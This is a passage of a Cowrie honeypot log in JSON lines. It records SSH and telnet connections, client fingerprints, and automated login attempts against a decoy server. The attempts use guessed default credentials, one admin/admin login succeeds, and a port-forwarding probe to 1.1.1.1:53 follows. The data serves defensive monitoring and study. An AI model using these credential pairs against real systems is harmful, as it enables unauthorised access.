{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:20.452249Z","src_ip":"181.39.158.30","session":"466cb609dbe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":58412,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b89d7690663","protocol":"telnet","message":"New connection: 217.182.190.44:58412 (10.17.0.5:23) [session: 7b89d7690663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:27.535559Z"}
{"eventid":"cowrie.session.closed","duration":30.687851905822754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:31.345775Z","src_ip":"217.182.190.44","session":"6bb7b6ca6a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.709516286849976,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:32.323704Z","src_ip":"217.182.190.44","session":"ab29c0393929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51654,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab461a6b05b","protocol":"telnet","message":"New connection: 174.138.46.234:51654 (159.203.135.109:23) [session: bab461a6b05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:34.602244Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51778,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ac156393656","protocol":"telnet","message":"New connection: 174.138.46.234:51778 (159.203.135.109:23) [session: 4ac156393656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:35.059102Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":47349,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea113670bcd4","protocol":"ssh","message":"New connection: 125.22.105.67:47349 (10.17.0.5:22) [session: ea113670bcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:35.081887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:35.086216Z","src_ip":"125.22.105.67","session":"ea113670bcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:35.380627Z","src_ip":"125.22.105.67","session":"ea113670bcd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51992,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da158d5ead2","protocol":"telnet","message":"New connection: 174.138.46.234:51992 (159.203.135.109:23) [session: 9da158d5ead2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:35.755230Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass","message":"login attempt [ubuntu/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:36.577579Z","src_ip":"125.22.105.67","session":"ea113670bcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:37.874226Z","src_ip":"125.22.105.67","session":"ea113670bcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.0367724895477295,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:38.638895Z","src_ip":"174.138.46.234","session":"bab461a6b05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53188,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a4dbd715393","protocol":"telnet","message":"New connection: 174.138.46.234:53188 (159.203.135.109:23) [session: 6a4dbd715393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:40.176119Z"}
{"eventid":"cowrie.session.closed","duration":5.989661455154419,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:41.048640Z","src_ip":"174.138.46.234","session":"4ac156393656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.813177585601807,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:41.568297Z","src_ip":"174.138.46.234","session":"9da158d5ead2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"93.91.196.243","src_port":37428,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b794e62c1b3","protocol":"telnet","message":"New connection: 93.91.196.243:37428 (159.203.135.109:23) [session: 3b794e62c1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:57.158152Z"}
{"eventid":"cowrie.session.closed","duration":34.72931694984436,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:02.264562Z","src_ip":"217.182.190.44","session":"7b89d7690663","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":41814,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0a0675cac40","protocol":"ssh","message":"New connection: 103.69.96.120:41814 (159.203.135.109:22) [session: a0a0675cac40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:07.944221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:07.949300Z","src_ip":"103.69.96.120","session":"a0a0675cac40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:08.197554Z","src_ip":"103.69.96.120","session":"a0a0675cac40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1qaz!QAZ","message":"login attempt [amir/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:09.221211Z","src_ip":"103.69.96.120","session":"a0a0675cac40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.113208055496216,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:10.271237Z","src_ip":"93.91.196.243","session":"3b794e62c1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:10.472864Z","src_ip":"103.69.96.120","session":"a0a0675cac40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":43698,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb5ff758566","protocol":"ssh","message":"New connection: 181.39.158.30:43698 (159.203.135.109:22) [session: ebb5ff758566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:14.411656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:14.418967Z","src_ip":"181.39.158.30","session":"ebb5ff758566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:14.538239Z","src_ip":"181.39.158.30","session":"ebb5ff758566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!@#QWE","message":"login attempt [ubuntu/123!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:15.045561Z","src_ip":"181.39.158.30","session":"ebb5ff758566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:16.173315Z","src_ip":"181.39.158.30","session":"ebb5ff758566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":49640,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc1ca129790","protocol":"ssh","message":"New connection: 209.38.20.25:49640 (159.203.135.109:22) [session: 4dc1ca129790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:18.966572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:19.035983Z","src_ip":"209.38.20.25","session":"4dc1ca129790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:20.505291Z","src_ip":"209.38.20.25","session":"4dc1ca129790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vncserver","message":"login attempt [root/vncserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:22.226902Z","src_ip":"209.38.20.25","session":"4dc1ca129790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:23.446023Z","src_ip":"209.38.20.25","session":"4dc1ca129790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.53786611557007,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:29.713856Z","src_ip":"174.138.46.234","session":"6a4dbd715393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3620,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbeca01b8248","protocol":"ssh","message":"New connection: 87.251.64.176:3620 (10.17.0.5:22) [session: bbeca01b8248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.276812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.282502Z","src_ip":"87.251.64.176","session":"bbeca01b8248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.385634Z","src_ip":"87.251.64.176","session":"bbeca01b8248","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.679166Z","src_ip":"87.251.64.176","session":"bbeca01b8248","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.778276Z","session":"bbeca01b8248","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.876229Z","src_ip":"87.251.64.176","session":"bbeca01b8248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:40.976493Z","src_ip":"87.251.64.176","session":"bbeca01b8248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.22.105.67","src_port":63679,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b30af5d9759","protocol":"ssh","message":"New connection: 125.22.105.67:63679 (10.17.0.5:22) [session: 5b30af5d9759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:56.865381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:56.870043Z","src_ip":"125.22.105.67","session":"5b30af5d9759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:57.155656Z","src_ip":"125.22.105.67","session":"5b30af5d9759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"admin","message":"login attempt [web/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:58.307656Z","src_ip":"125.22.105.67","session":"5b30af5d9759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:17:59.591558Z","src_ip":"125.22.105.67","session":"5b30af5d9759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":38098,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0936e05c8fb","protocol":"ssh","message":"New connection: 14.248.83.33:38098 (159.203.135.109:22) [session: d0936e05c8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:02.428925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:02.438453Z","src_ip":"14.248.83.33","session":"d0936e05c8fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","